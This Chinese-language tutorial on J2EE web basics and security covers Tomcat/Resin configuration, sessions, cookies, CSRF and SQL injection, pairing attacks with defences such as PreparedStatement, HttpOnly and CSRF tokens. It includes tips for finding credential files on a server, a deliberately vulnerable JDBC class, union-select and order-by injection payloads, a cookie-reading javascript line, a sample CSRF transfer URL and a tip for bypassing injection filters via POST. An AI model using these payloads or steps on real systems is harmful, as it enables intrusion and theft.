乌云知识库 - J2EE 渗透测试与安全开发的内容编纂

作者:园长MM

JavaEE基础

JSP: 全名为java server page,其根本是一个简化的Servlet。 Servlet:Servlet是一种服务器端的Java应用程序,可以生成动态的Web页面。 JavaEE: JavaEE是J2EE新的名称。改名目的是让大家清楚J2EE只是Java企业应用。 什么叫Jsp什么叫Java我真的非常让大家搞清楚!拜托别一上来就来一句:“前几天我搞了一个jsp的服务器,可难吭了。”。 请大家分清楚什么是jsp什么是JavaEE! Java平台结构图: 可以看到Java平台非常的庞大,而开发者的分化为: 列举这两个图的原因就是让你知道你看到的JSP不过是冰山一角,Jsp技术不过是Java初级开发人员必备的技术而已。 我今天要讲的就是Java树的最下面的两层了,也是初级工程师需要掌握的东西。 Web请求与相应简要的流程: 这是一个典型的就是客户端发送一个HTTP请求到服务器端,服务器端接收到请求并处理、响应的一个过程。 如果请求的是JSP,tomcat会把我们的JSP编译成Servlet也就是一个普通的Java类。 其实JSP是Servlet的一种特殊形式,每个JSP页面就是一个Servlet实例。Servlet又是一个普通的Java类它编译后就是一个普通的class文件。 这是一个普通的jsp脚本页面,因为我只用JSP来作为展示层仅仅做了简单的后端数据的页面展示: 上图可以非常清晰的看到通常的Jsp在项目中的地位并不如我们大多数人所想的那么重要,甚至是可有可无!因为我们完全可以用其他的东西来代替JSP作为前端展示层。 我们来看一下这个页面编译成class后是什么样子: 你会发现你根本就看不懂这个class文件,因为这是字节码文件我们根本就没法看。通过我们的TOMCAT编译后他编程了一个Java类文件保存在Tomcat的work目录下。 文件目录:C:\apache-tomcat-7.0.34\work\Catalina\localhost\你的项目名\org\apache\jsp 我们只要打开index_jsp.java或者用jd-gui(Java反编译工具)打开就行了: 有人说这是Servlet吗?当然了。 继承HttpJspBase类,该类其实是个HttpServlet的子类(jasper是tomcat的jsp engine)。 Jsp有着比Servlet更加优越的展现,很多初学PHP的人恐怕很难把视图和逻辑分开吧。比如之前在写PHPSQL注入测试的DEMO: 这代码看起来似乎没有什么大的问题,也能正确的跑起来啊会有什么问题呢?原因很简单这属于典型的展现和业务逻辑没有分开!这和写得烂的Servlet差不多! 说了这么多,很多人会觉得Servlet很抽象。我们还是连创建一个Servlet吧: 创建成功后会自动的往web.xml里面写入: 其实就是一个映射的URL和一个处理映射的类的路径。而我们自动生成的Java类精简后大致是这个样子: 请求响应输出内容: 熟悉PHP的大神们这里就不做解释了哦。了解了Jsp、Servlet我们再来非常简单的看一下JavaWeb应用是怎样跑起来的。 加载web.xml的配置然后从配置里面获取各种信息为WEB应用启动准备。 科普:C:\apache-tomcat-7.0.34\webapps下默认是部署的Web项目。webapps 下的文件夹就是你的项目名了,而项目下的WebRoot一般就是网站的根目录了,WebRoot下的文件夹WEB-INF默认是不让Web访问的,一般存在配置泄漏多半是nginx配置没有过滤掉这个目录。 快速定位数据库连接信息: 大家可能都非常关心数据库连接一般都配置在什么地方呢? 答案普遍是:C:\apache-tomcat-7.0.34\webapps\wordpress\WEB-INF下的***.xml 大多数的Spring框架都是配置在applicationContext里面的: 如果用到Hibernate框架那么:WebRoot\WEB-INF\classes\hibernate.cfg.xml 还有一种变态的配置方式就是直接卸载源代码里面: Tomcat的数据源(其他的服务器大同小异): 目录:C:\apache-tomcat-7.0.34\conf\context.xml、server.xml Resin数据源: 路径:D:\installDev\resin-pro-4.0.28conf\resin.conf(resin 3.x是resin.xml) 其他的配置方式诸如读取如JEECMS读取的就是.properties配置文件,这种方式非常的常见:

Tomcat 基础

没错,这就是 TOM 猫。楼主跟这只猫打交道已经有好几年了,在 Java 应用当中 TOMCAT 运用的非常的广泛。 TOM 猫是一个 Web 应用服务器,也是 Servlet 容器。 Apache+Tomcat 做负载均衡:
Tomcat快速定位到网站目录:
如何快速的找到tomcat的安装路径:
-1、不管是谁都应该明白的是不管apache还是tomcat安装的路径都是随意的,所以找不到路径也是非常正常的。 -2、在你的/etc/httpd/conf/httpd.conf里面会有一个LoadModule jk_module配置用于集成tomcat然后找到JkWorkersFile也就是tomcat的配置,找到.properties的路径。httpd里面也有可能会配置路径如果没有找到那就去apache2\conf\extra\httpd-vhosts看下有没有配置域名绑定。 -3、在第二步的时候找到了properties配置文件并读取,找到workers.tomcat_home也就是tomcat的配置路径了。 -4、得到tomcat的路径你还没有成功,域名的具体配置是在conf下的server.xml。 -5、读取server.xml不出意外你就可以找到网站的目录了。 -6、如果第五步没有找到那么去webapps目录下ROOT瞧瞧默认不配置的话网站是部署在ROOT下的。 -7、这一点是附加的科普知识爱听则听:数据库如果启用的tomcat有可能会采用tomcat的数据源配置未见为conf下的context.xml、server.xml。如果网站有域名绑定那么你可以试下ping域名然后带上端口访问。有可能会出现tomcat的登录界面。tomcat默认是没有配置用户登录的,所以当tomcat-users.xml下没有相关的用户配置就别在这里浪费时间了。 -8、如果配置未找到那么到网站目录下的WEB-INF目录和其下的classes目录下找下对应的properties、xml(一般都是properties)。 -9、如果你够蛋疼可以读取WEB.XML下的classess内的源码。 -10、祝你好运。

apache快速定位到网站目录:
普通的域名绑定: 直接添加到confhttpd.conf、confextrahttpd-vhosts.conf
Resin快速定位到网站目录:
在resin的conf下的resin.conf(resin3.x)和resin.xml(resin4.x) Resin apache 负载均衡配置(从我以前的文章中节选的) APACHE RESIN 做负载均衡,Resin 用来做 JAVAWEB 的支持,APACHE 用于处理静态 和 PHP 请求,RESIN 的速度飞快,RESIN 和 apache 的配合应该是非常完美的吧。 域名解析: apache 的 httpd.conf: 需要修改:Include conf/extra/httpd-vhosts.conf(一定要把前面的#除掉,否则配置不起作用) 普通的域名绑定: 直接添加到 httpd.conf
ServerAdmin admin@bjcyw.cn DocumentRoot E:/XXXX/XXX ServerName beijingcanyinwang.com ErrorLog E:/XXXX/XXX/bssn-error_log CustomLog E:/XXXX/XXX/bssn_log common
二级域名绑定,需要修改:
E:\install\apache2\conf\extra\httpd-vhosts.conf
如:
DocumentRoot E:/XXXXXXX/XXX ServerName bbs.beijingcanyinwang.com DirectoryIndex index.html index.php index.htm
Resin 的 请求处理:
SetHandler caucho-request SetHandler caucho-request SetHandler caucho-request SetHandler caucho-request SetHandler caucho-request SetHandler caucho-request
APACHE 添加对 Resin 的支持:
LoadModule caucho_module "E:/install/resin-pro-3.1.12/win32/apache-2.2/mod_caucho. dll"
然后在末尾加上:
ResinConfigServer localhost 6800 CauchoStatus yes
只有就能让 apache 找到 resin 了。 PHP 支持问题: resin 默认是支持 PHP 的测试 4.0.29 的时候就算你把 PHP 解析的 servlet 配置删了一样解析 PHP,无奈换成了 resin 3.1 在注释掉 PHP 的 servlet 配置就无压力了。 整合成功后:

作者:园长MM

Request & Response(请求与响应)

请求和响应在Web开发当中没有语言之分不管是ASP、PHP、ASPX还是JAVAEE也好,Web服务的核心应该是一样的。 在我看来Web开发最为核心也是最为基础的东西就是Request和Response!我们的Web应用最终都是面向用户的,而请求和响应完成了客户端和服务器端的交互。 服务器的工作主要是围绕着客户端的请求与响应的。 如下图我们通过Tamper data拦截请求后可以从请求头中清晰的看到发出请求的客户端请求的地址为:localhost。 浏览器为FireFox,操作系统为Win7等信息,这些是客户端的请求行为,也就是Request。 当客户端发送一个Http请求到达服务器端之后,服务器端会接受到客户端提交的请求信息(HttpServletRequest),然后进行处理并返回处理结(HttpServletResopnse)。 下图演示了服务器接收到客户端发送的请求头里面包含的信息:
 页面输出的内容为:

host=localhost 
user-agent=Mozilla/5.0 (Windows NT 6.1; rv:18.0) Gecko/20100101 Firefox/18.0
 accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 accept-language=zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
 accept-encoding=gzip, deflate
 connection=keep-alive

请求头信息伪造XSS
关于伪造问题我是这样理解的:发送Http请求是客户端的主动行为,服务器端通过ServerSocket监听并按照Http协议去解析客户端的请求行为。 所以请求头当中的信息可能并不一定遵循标准Http协议。 用FireFox的Tamper Data和Moify Headers(FireFox扩展中心搜Headers和Tamper Data都能找到) 插件修改下就实现了,请先安装FireFox和Tamper Data:

 

 点击Start Tamper 然后请求Web页面,会发现请求已经被Tamper Data拦截下来了。选择Tamper: 点击Start Tamper 然后请求Web页面,会发现请求已经被Tamper Data拦截下来了。选择Tamper: 
Servlet Request接受到的请求:
Enumeration e = request.getHeaderNames(); while (e.hasMoreElements()) { String name = (String) e.nextElement();//获取key String value = request.getHeader(name);//得到对应的值 out.println(name + "=" + value + "
");//输出如cookie=123 }

源码下载:http://pan.baidu.com/share/link?shareid=166499&uk=2332775740 使用Moify Headers自定义的修改Headers: 修改请求头的作用是在某些业务逻辑下程序猿需要去记录用户的请求头信息到数据库,而通过伪造的请求头一旦到了数据库可能造成xss,或者在未到数据库的时候就造成了SQL注入,因为对于程序员来说,大多数人认为一般从Headers里面取出来的数据是安全可靠的,可以放心的拼SQL(记得好像Discuz有这样一个漏洞)。今年一月份的时候我发现xss.tw也有一个这样的经典案例,Wdot那哥们在记录用户的请求头信息的时候没有去转意特殊的脚本,导致我们通过伪造的请求头直接存储到数据库。 XSS.tw平台由于没有对请求头处理导致可以通过XSS屌丝逆袭高富黑。
刚回来的时候被随风玩爆菊了。通过修改请求头信息为XSS脚本,xss那平台直接接收并信任参数,因为很少有人会蛋疼的去怀疑请求头的信息,所以这里造成了存储型的XSS。只要别人一登录xss就会自动的执行我们的XSS代码了。 Xss.tw由于ID很容易预测,所以很轻易的就能够影响到所有用户: 于是某一天就有了所有的xss.tw用户被随风那2货全部弹了www.gov.cn: 
Java里面伪造Http请求头
代码就不贴了,在发送请求的时候设置setRequestProperty 就行了,如:
URL realUrl = new URL(url); URLConnection connection = realUrl.openConnection(); connection.setConnectTimeout(5000);//连接超时 connection.setReadTimeout(5000);// 读取超时 connection.setRequestProperty("accept", "*/*"); connection.setRequestProperty("connection", "Keep-Alive"); (………………………..)
Test Servlet:

Session

Session是存储于服务器内存当中的会话,我们知道Http是无状态协议,为了支持客户端与服务器之间的交互,我们就需要通过不同的技术为交互存储状态,而这些不同的技术就是Cookie和Session了。 设置一个session:
session.setAttribute("name",name);//从请求中获取用户的name放到session当中 
session.setAttribute("ip",request.getRemoteAddr());//获取用户请求Ip地址 out.println("Session 设置成功.");
直接获取session如下图可以看到我们用FireFox和Chrome请求同一个URL得到的SessionId并不一样,说明SessionId是唯一的。一旦Session在服务器端设置成功那么我们在此次回话当中就可以一直共享这个SessionId对应的session信息,而session是有有效期的,一般默认在20-30分钟,你会看到xss平台往往有一个功能叫keepSession,每过一段时间就带着sessionId去请求一次,其实就是在保持session的有效不过期。
Session 生命周期(从创建到销毁)


1、session的默认过期时间是30分钟,可修改的最大时间是1440分钟(1440除以60=24小时=1天)。 
2、服务器重启或关闭Session失效。

注:浏览器关闭其实并不会让session失效!因为session是存储在服务器端内存当中的。客户端把浏览器关闭了服务器怎么可能知道?正确的解释或许应该是浏览器关闭后不会去记忆关闭前客户端和服务器端之间的session信息且服务器端没有将sessionId以Cookie的方式写入到客户端缓存当中,重新打开浏览器之后并不会带着关闭之前的sessionId去访问服务器URL,服务器从请求中得不到sessionId自然给人的感觉就是session不存在(自己理解的)。
当我们关闭服务器时Tomcat会在安装目录workCatalinalocalhost项目名目录下建立SESSIONS.ser文件。此文件就是Session在Tomcat停止的时候 持久化到硬盘中的文件. 所有当前访问的用户Session都存储到此文件中. Tomcat启动成功后.SESSIONS.ser 又会反序列化到内存中,所以启动成功后此文件就消失了. 所以正常情况下 从启Tomcat用户是不需要登录的. 注意有个前提,就是存储到Session里面的user对象所对应的User类必须要序列化才可以。(摘自:http://alone-knight.iteye.com/blog/1611112)
SessionId是神马?有什么用?


我们不妨来做一个偷取sessionId的实验:
首先访问:http://localhost/Test/SessionTest?action=setSession&name=selina 完成session的创建,如何建立就不解释了如上所述。
 同时开启FireFox和Chrome浏览器设置两个Session:

 

 我们来看下当前用户的请求头分别是怎样的:

 

我们依旧用TamperData来修改请求的Cookie当中的jsessionId,下面是见证奇迹的时刻:

 我要说的话都已经在图片当中的文字注释里面了,伟大的Xss黑客们看明白了吗?你盗取的也许是jsessionId(Java里面叫jsessionId),而不只是cookie。那么假设我们的Session被设置得特别长那么这个SessionId就会长时间的保留,而为Xss攻击提供了得天独厚的条件。而这种Session长期存在会浪费服务器的内存也会导致:SessionFixation攻击!


如何应对SessionFixation攻击


1、用户输入正确的凭据,系统验证用户并完成登录,并建立新的会话ID。
 2、Session会话加Ip控制
 3、加强程序员的防范意识:写出明显xss的程序员记过一次,写出隐晦的xss的程序员警告教育一次,连续查出存在3个及其以上xss的程序员理解解除劳动合同(哈哈,开玩笑了)。

Cookie

Cookie是以文件形式
的凭证(精简下为了通俗易懂),cookie的生命周期主要在于服务器给设置的有效时间。如果不设置过期时间,则表示这个cookie生命周期为浏览器会话期间,只要关闭浏览器窗口,cookie就消失了。
这次我们以IE为例: 
我们来创建一个Cookie:


if(!"".equals(name)){ 
 Cookie cookies = new Cookie("name",name);//把用户名放到cookie 
 cookies.setMaxAge(60*60*60*12*30) ;//设置cookie的有效期 
 // c1.setDomain(".ahack.net");//设置有效的域
 response.addCookie(cookies);//把Cookie保存到客户端 
 out.println("当前登录:"+name); }else { 
 out.println("用户名不能为空!");
 }
有些大牛级别的程序员直接把帐号密码明文存储到客户端的cookie里面去,不得不佩服其功力深厚啊。客户端直接记事本打开就能看到自己的帐号密码了。 
继续读取Cookie: 我想cookie以明文的形式存储在客户端我就不用解释了吧?文件和数据摆在面前!
盗取cookie的最直接的方式就是xss,利用IE浏览器输出当前站点的cookie:
javascript:document.write(document.cookie)
 
 


首先我们用FireFox创建cookie 然后TamperData修改Cookie: 一般来说直接把cookie发送给服务器服务器,程序员过度相信客户端cookie值那么我们就可以在不用知道用户名和密码的情况下登录后台,甚至是cookie注入。jsessionid也会放到cookie里面,所以拿到了cookie对应的也拿到了jsessionid,拿到了jsessionid就拿到了对应的会话当中的所有信息,而如果那个jsessionid恰好是管理员的呢?

HttpOnly

上面我们用
javascript:document.write(document.cookie)
通过document对象能够拿到存储于客户端的cookie信息。 HttpOnly设置后再使用document.cookie去取cookie值就不行了。 通过添加HttpOnly以后会在原cookie后多出一个HttpOnly; 普通的cookie设置:
Cookie: jsessionid=AS348AF929FK219CKA9FK3B79870H;
Cookie: jsessionid=AS348AF929FK219CKA9FK3B79870H; 加上HttpOnly后的Cookie:
加上HttpOnly后的Cookie: Cookie: jsessionid=AS348AF929FK219CKA9FK3B79870H; HttpOnly;
(参考YearOfSecurityforJava) 在JAVAEE6的API里面已经有了直接设置HttpOnly的方法了:  API的对应说明: 大致的意思是:如果isHttpOnly被设置成true,那么cookie会被标识成HttpOnly.能够在一定程度上解决跨站脚本攻击。 在servlet3.0开始才支持直接通过setHttpOnly设置,其实就算不是JavaEE6也可以在set Cookie的时候加上HttpOnly; 让浏览器知道你的cookie需要以HttpOnly方式管理。而ng a 在新的Servlet当中不只是能够通过手动的去setHttpOnly还可以通过在web.xml当中添加cookie-config(HttpOnly默认开启,注意配置的是web-app_3_0.xsd):
true true index.jsp
还可以设置下session有效期(30分):
30

CSRF (跨站域请求伪造)

CSRF(Cross Site Request Forgery, 跨站域请求伪造)用户请求伪造,以受害人的身份构造恶意请求。(经典解析参考:http://www.ibm.com/developerworks/cn/web/1102_niugang_csrf/ )
CSRF 攻击的对象
在讨论如何抵御 CSRF 之前,先要明确 CSRF 攻击的对象,也就是要保护的对象。从以上的例子可知,CSRF 攻击是黑客借助受害者的 cookie 骗取服务器的信任,但是黑客并不能拿到 cookie,也看不到 cookie 的内容。另外,对于服务器返回的结果,由于浏览器同源策略的限制,黑客也无法进行解析。因此,黑客无法从返回的结果中得到任何东西,他所能做的就是给服务器发送请求,以执行请求中所描述的命令,在服务器端直接改变数据的值,而非窃取服务器中的数据。所以,我们要保护的对象是那些可以直接产生数据改变的服务,而对于读取数据的服务,则不需要进行 CSRF 的保护。比如银行系统中转账的请求会直接改变账户的金额,会遭到 CSRF 攻击,需要保护。而查询余额是对金额的读取操作,不会改变数据,CSRF 攻击无法解析服务器返回的结果,无需保护。
Csrf攻击方式
对象:A:普通用户,B:攻击者
1、假设A已经登录过xxx.com并且取得了合法的session,假设用户中心地址为:http://xxx.com/ucenter/index.do 2、B想把A余额转到自己的账户上,但是B不知道A的密码,通过分析转账功能发现xxx.com网站存在CSRF攻击漏洞和XSS漏洞。 3、B通过构建转账链接的URL如:http://xxx.com/ucenter/index.do?action=transfer&money=100000 &toUser=(B的帐号),因为A已经登录了所以后端在验证身份信息的时候肯定能取得A的信息。B可以通过xss或在其他站点构建这样一个URL诱惑A去点击或触发Xss。一旦A用自己的合法身份去发送一个GET请求后A的100000元人民币就转到B账户去了。当然了在转账支付等操作时这种低级的安全问题一般都很少出现。
防御CSRF:
验证 HTTP Referer 字段 在请求地址中添加 token 并验证 在 HTTP 头中自定义属性并验证 加验证码 (copy防御CSRF毫无意义,参考上面给的IBM专题的URL)
最常见的做法是加token,Java里面典型的做法是用filter:https://code.google.com/p/csrf-filter/(链接由plt提供,源码上面的在:http://ahack.iteye.com/blog/1900708)

作者:园长MM

JDBC和ORM


JDBC:
JDBC(Java Data Base Connectivity,java数据库连接)是一种用于执行SQL语句的Java API,可以为多种关系数据库提供统一访问。
JPA:
JPA全称Java Persistence API.JPA通过JDK 5.0注解或XML描述对象-关系表的映射关系,并将运行期的实体对象持久化到数据库中。是一个ORM规范。Hibernate是JPA的具体实现。但是Hibernate出现的时间早于JPA(因为Hibernate作者很狂,sun看不惯就叫他去制定JPA标准去了哈哈)。
ORM:
对象关系映射(ORM)目前有Hibernate、OpenJPA、TopLink、EclipseJPA等实现。
JDO:
JDO(Java Data Object )是Java对象持久化的新的规范,也是一个用于存取某种数据仓库中的对象的标准化API。没有听说过JDO没有关系,很多人应该知道PDO,ADO吧?概念一样。
关系:
JPA可以依靠JDBC对JDO进行对象持久化,而ORM只是JPA当中的一个规范,我们常见的Hibernate、Mybatis和TopLink什么的都是ORM的具体实现。 概念性的东西知道就行了,能记住最好。很多东西可能真的是会用,但是要是让你去定义或者去解释的时候发现会有些困难。 重点了解JDBC是个什么东西,知道Hibernate和Mybatis是ORM的具体的实现就够了。
Object:
在Java当中Object类(java.lang.object)是所有Java类的祖先。每个类都使用 Object 作为超类。所有对象(包括数组)都实现这个类的方法。所以在认识Java之前应该有一个对象的概念。
关系型数据库和非关系型数据库:
数据库是按照数据结构来组织、存储和管理数据的仓库。 关系型数据库,是建立在关系模型基础上的数据库。关系模型就是指二维表格模型,因而一个关系型数据库就是由二维表及其之间的联系组成的一个数据组织。当前主流的关系型数据库有Oracle、DB2、Microsoft SQL Server、Microsoft Access、MySQL等。 NoSQL,指的是非关系型的数据库。随着互联网web2.0网站的兴起,传统的关系数据库在应付web2.0网站,特别是超大规模和高并发的SNS类型的web2.0纯动态网站已经显得力不从心,暴露了很多难以克服的问题,而非关系型的数据库则由于其本身的特点得到了非常迅速的发展。
1、High performance - 对数据库高并发读写的需求。 2、Huge Storage - 对海量数据的高效率存储和访问的需求。 3、High Scalability && High Availability- 对数据库的高可扩展性和高可用性的需求。
常见的非关系型数据库:Membase、MongoDB、Hypertable、Apache Cassandra、CouchDB等。 常见的NoSQL数据库端口:
MongoDB:27017、28017、27080 CouchDB:5984 Hbase:9000 Cassandra:9160 Neo4j:7474 Riak:8098
在引入这么多的概念之后我们今天的故事也就要开始了,概念性的东西后面慢慢来。引入这些东西不只仅仅是为了讲一个SQL注入,后面很多地方可能都会用到。 传统的JDBC大于要经过这么些步骤完成一次查询操作,java和数据库的交互操作:
准备JDBC驱动 加载驱动 获取连接 预编译SQL 执行SQL 处理结果集 依次释放连接
sun只是在JDBC当中定义了具体的接口,而JDBC接口的具体的实现是由数据库提供厂商去写具体的实现的, 比如说Connection对象,不同的数据库的实现方式是不同的。 使用传统的JDBC的项目已经越来越少了,曾经的model1和model2已经被MVC给代替了。如果用传统的JDBC写项目你不得不去管理你的数据连接、事物等。而用ORM框架一般程序员只用关心执行SQL和处理结果集就行了。比如Spring的JdbcTemplate、Hibernate的HibernateTemplate提供了一套对dao操作的模版,对JDBC进行了轻量级封装。开发人员只需配置好数据源和事物一般仅需要提供一个SQL、处理SQL执行后的结果就行了,其他的事情都交给框架去完成了。

经典的JDBC的Sql注入

Sql注入产生的直接原因是拼凑SQL,绝大多数程序员在做开发的时候并不会去关注SQL最终是怎么去运行的,更不会去关注SQL执行的安全性。因为时间紧,任务重完成业务需求就行了,谁还有时间去管你什么SQL注入什么?还不如喝喝茶,看看妹子。正是有了这种懒惰的程序员SQL注入一直没有消失,而这当中不乏一些大型厂商。有的人可能心中有防御Sql注入意识,但是在面对复杂业务的时候可能还是存在侥幸心理,最近还是被神奇路人甲给脱裤了。为了处理未知的SQL注入攻击,一些大厂商开始采用SQL防注入甚至是使用某些厂商的WAF。
JDBCSqlInjectionTest.java类:

package org.javaweb.test; import java.sql.Connection; import java.sql.DriverManager; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLException; public class JDBCSqlInjectionTest { /** * sql注入测试 * @param id */ public static void sqlInjectionTest(String id){ String MYSQLDRIVER = "com.mysql.jdbc.Driver";//MYSQL驱动 //Mysql连接字符串 String MYSQLURL = "jdbc:mysql://localhost:3306/wooyun?user=root&password=caonimei&useUnicode=true&characterEncoding=utf8&autoReconnect=true"; String sql = "SELECT * from corps where id = "+id;//查询语句 try { Class.forName(MYSQLDRIVER);//加载MYSQL驱动 Connection conn = DriverManager.getConnection(MYSQLURL);//获取数据库连接 PreparedStatement pstt = conn.prepareStatement(sql); ResultSet rs = pstt.executeQuery(); System.out.println("SQL:"+sql);//打印SQL while(rs.next()){//结果遍历 System.out.println("ID:"+rs.getObject("id"));//ID System.out.println("厂商:"+rs.getObject("corps_name"));//输出厂商名称 System.out.println("主站"+rs.getObject("corps_url"));//厂商URL } rs.close();//关闭查询结果集 pstt.close();//关闭PreparedStatement conn.close();//关闭数据连接 } catch (ClassNotFoundException e) { e.printStackTrace(); } catch (SQLException e) { e.printStackTrace(); } } public static void main(String
args) { sqlInjectionTest("2 and 1=2 union select version(),user(),database(),5 ");//查询id为2的厂商 } }
现在有以下Mysql数据库结构(后面用到的数据库结构都是一样): 看下图代码是一个取数据和显示数据的过程。 第20行就是典型的拼SQL导致SQL注入,现在我们的注入将围绕着20行展开: 当传入正常的参数”2”时输出的结果正常: 当参数为2 and 1=1去查询时,由于1=1为true所以能够正常的返回查询结果: 当传入参数2 and 1=2时查询结果是不存在的,所以没有显示任何结果。 Tips:在某些场景下可能需要在参数末尾加注释符--,使用“--”的作用在于注释掉从当前代码末尾到SQL末尾的语句。 --在oracle和mssql都可用,mysql可以用# /**。 执行order by 4正常显示数据order by 5错误说明查询的字段数是4。 Order by 5执行后直接爆了一个SQL异常: 用联合查询执行:2 and 1=2 union select version(),user(),database(),5
小结论:
通过控制台执行SQL注入可知SQL注入跟平台无关、跟开发语言关系也不大,而是跟数据库有关。 知道了拼SQL肯定是会造成SQL注入的,那么我们应该怎样去修复上面的代码去防止SQL注入呢?其实只要把参数经过预编译就能够有效的防止SQL注入了,我们已经依旧提交SQL注入语句会发现之前能够成功注入出数据库版本、用户名、数据库名的语句现在无法带入数据库查询了:

PreparedStatement实现防注入

SQL语句被预编译并存储在PreparedStatement对象中。然后可以使用此对象多次高效地执行该语句。
Class.forName(MYSQLDRIVER);//加载MYSQL驱动 Connection conn = DriverManager.getConnection(MYSQLURL);//获取数据库连接 String sql = "SELECT * from corps where id = ? ";//查询语句 PreparedStatement pstt = conn.prepareStatement(sql);//获取预编译的PreparedStatement对象 pstt.setObject(1, id);//使用预编译SQL ResultSet rs = pstt.executeQuery();
从Class.forName反射去加载MYSQL启动开始,到通过DriverManager去获取一个本地的连接数据库的对象。而拿到一个数据连接以后便是我们执行SQL与事物处理的过程。当我们去调用PreparedStatement的方法如:executeQuery或executeUpdate等都会通过mysql的JDBC实现对Mysql数据库做对应的操作。Java里面连接数据库的方式一般来说都是固定的格式,不同的只是实现方式。所以只要我们的项目中有加载对应数据库的jar包我们就能做相应的数据库连接。而在一个Web项目中如果/WEB-INF/lib下和对应容器的lib下只有mysql的数据库连接驱动包,那么就只能连接MYSQL了,这一点跟其他语言有点不一样,不过应该容易理解和接受,假如php.ini不开启对mysql、mssql、oracle等数据库的支持效果都一样。修复之前的SQL注入的方式显而易见了,用“?”号去占位,预编译SQL的时候会自动根据pstt里的参数去处理,从而避免SQL注入。
String sql = "SELECT * from corps where id = ? "; pstt = conn.prepareStatement(sql);//获取预编译的PreparedStatement对象 pstt.setObject(1, id);//使用预编译SQL ResultSet rs = pstt.executeQuery();
在通过conn.prepareStatement去获取一个PreparedStatement便会以预编译去处理查询SQL,而使用conn.createStatement得到的只是一个普通的Statement不会去预编译SQL语句,但Statement执行效率和速度都比prepareStatement要快前者是后者的父类。 从类加载到连接的关闭数据库厂商根据自己的数据库的特性实现了JDBC的接口。类加载完成之后才能够继续调用其他的方法去获取一个连接对象,然后才能过去执行SQL命令、返回查询结果集(ResultSet)。 Mysql的Driver:
public class Driver extends NonRegisteringDriver implements java.sql.Driver{}
在加载驱动处下断点(22行),可以跟踪到mysql的驱动连接数据库到获取连接的整个过程。 F5进入到Driver类: 驱动加载完成后我们会得到一个具体的连接的对象Connection,而这个Connection包含了大量的信息,我们的一切对数据库的操作都是依赖于这个Connection的: conn.prepareStatement(sql); 在获取PreparedStatement对象的时进入会进入到Connection类的具体的实现类ConnectionImpl类。 然后调用其prepareStatement方法。 而nativeSQL方法调用了EscapeProcessor类的静态方法escapeSQL进行转意,返回的自然是转意后的SQL。 预编译默认是在客户端的用com.mysql.jdbc.PreparedStatement本地SQL拼完SQL,最终mysql数据库收到的SQL是已经替换了“?”后的SQL,执行并返回我们查询的结果集。 从上而下大概明白了预编译做了个什么事情,并不是用了PreparedStatement这个对象就不存在SQL注入而是跟你在预编译前有没有拼凑SQL语句,
String sql = “select * from xxx where id = ”+id//这种必死无疑。

Web中绕过SQL防注入:
Java中的JSP里边有个特性直接request.getParameter("Parameter");去获取请求的数据是不分GET和POST的,而看过我第一期的同学应该还记得我们的Servlet一般都是两者合一的方式去处理的,而在SpringMVC里面如果不指定传入参数的方式默认是get和post都可以接受到。 SpringMvc如:
@RequestMapping(value="/index.aspx",method=RequestMethod.GET) public String index(HttpServletRequest request,HttpServletResponse response){ System.out.println("------------"); return "index"; }
上面默认只接收GET请求,而大多数时候是很少有人去制定请求的方式的。说这么多其实就是为了告诉大家我们可以通过POST方式去绕过普通的SQL防注入检测!
Web当中最容易出现SQL注入的地方

常见的文章显示、分类展示。 用户注册、用户登录处。 关键字搜索、文件下载处。 数据统计处(订单查询、上传下载统计等)经典的如select下拉框注入。 逻辑略复杂处(密码找回以及跟安全相关的)。

关于注入页面报错:
如果发现页面抛出异常,那么得从两个方面去看问题,传统的SQL注入在页面报错以后肯定没法直接从页面获取到数据信息。如果报错后SQL没有往下执行那么不管你提交什么SQL注入语句都是无效的,如果只是普通的错误可以根据错误信息进行参数修改之类继续SQL注入。 假设我们的id改为int类型:
int id = Integer.parseInt(request.getParameter("id"));
程序在接受参数后把一个字符串转换成int(整型)的时候发生异常,那么后面的代码是不会接着执行的哦,所以SQL注入也会失败。
Spring中如何安全的拼SQL(JDBC同理):
对于常见的SQL注入采用预编译就行了,但是很多时候条件较多或较为复杂的时候很多人都想偷懒拼SQL。 
写了个这样的多条件查询条件自动匹配:
public static String SQL_FORUM_CLASS_SETTING = "SELECT * from bjcyw_forum_forum where 1=1 "; 
 public List> getForumClass(Map forum) { StringBuilder sql=new StringBuilder(SQL_FORUM_CLASS_SETTING); List ls=new ArrayList(); if (forum.size()>0) { for (String key : forum.keySet()) { Object obj
=(Object
)forum.get(key); sql = SqlHelper.selectHelper(sql, obj); if ("like".equalsIgnoreCase(obj
.toString().trim())) { ls.add("%"+obj
+"%"); }else{ ls.add(obj
); } } } return jdbcTemplate.queryForList(sql.toString(),(Object
)ls.toArray()); }
selectHelper方法:
public static StringBuilder selectHelper(StringBuilder sql, Object obj
){ if (Constants.SQL_HELPER_LIKE.equalsIgnoreCase(obj
.toString())) { sql.append(" AND "+obj
+" like ?"); }else if (Constants.SQL_HELPER_EQUAL.equalsIgnoreCase(obj
.toString())) { sql.append(" AND "+obj
+" = ?"); }else if (Constants.SQL_HELPER_GREATERTHAN.equalsIgnoreCase(obj
.toString())) { sql.append(" AND "+obj
+" > ?"); }else if (Constants.SQL_HELPER_LESSTHAN.equalsIgnoreCase(obj
.toString())) { sql.append(" AND "+obj
+" < ?"); }else if (Constants.SQL_HELPER_NOTEQUAL.equalsIgnoreCase(obj
.toString())) { sql.append(" AND "+obj
+" != ?"); } return sql; }
信任客户端的参数一切参数只匹配查询条件,把参数和条件自动装配到框架。 如果客户端提交了危险的SQL也没有关系在query的时候是会预编译。

转战Web平台

看完了SQL注入在控制台下的表现,如果对上面还不甚清楚的同学继续看下面的Web注入。 首先我们了解下Web当中的SQL注入产生的原因: Mysql篇: 数据库结构上面已经声明,现在有以下Jsp页面,逻辑跟上面注入一致: 浏览器访问:http://localhost/SqlInjection/index.jsp?id=1 上面我们已经知道了查询的字段数是4,现在构建联合查询,其中的1,2,3只是我们用来占位查看字段在页面对应的具体的输出。在HackBar执行我们的SQL注入,查看效果和执行情况:
Mysql查询和注入技巧:
